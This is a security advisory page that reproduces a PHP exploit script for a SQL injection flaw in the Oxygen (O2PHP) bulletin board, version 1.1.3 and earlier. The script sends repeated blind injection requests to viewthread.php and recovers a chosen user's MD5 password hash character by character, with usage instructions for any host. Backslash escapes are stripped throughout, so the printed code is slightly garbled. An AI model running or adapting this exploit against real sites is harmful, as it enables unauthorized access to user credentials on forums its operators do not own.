Oxygen <= 1.1.3 (O2PHP Bulletin Board) SQL Injection

Advisory Content :

#!/usr/bin/php
<?

if($argc<4){
print("
-------------------------------------------------------
Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
Poc.ID........: 14061118
Type..........: SQL Injection
Risk.level....: Medium
Conditions....: register_globals = on
Src.download..: download.o2php.com
Poc.link......: acid-root.new.fr/poc/14061118.txt
Credits.......: DarkFig
Note..........: FOR EDUCATIONAL PURPOSE ONLY
-------------------------------------------------------
Usage.........: php 14061118.txt <host> <path> <userid>
-------------------------------------------------------n");
exit(1);
}

print "n Please be patient (max=736 hits)...n MD5: ";
$host = !preg_match("/^http://(S*)/",$argv[1],$hwttp) ? $argv[1] :
$hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1; $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv = '';
$sqli =
"%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AN
D%20substr(password,".$x.",1)=char(".$y.")%23";
$data = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 rn";
$data .= "Host: $hostrn";
$data .= "Connection: Closernrn";

if(!$sock = @fsockopen($host, 80)) die("Connection problemn");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
print strtolower(chr($y));
break;
} elseif($y == 71) {
print "Not vulnerablen";
exit(1);

}}}

print "n";
exit(0);

?>

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Oxygen <= 1.1.3 (O2PHP Bulletin Board) SQL Injection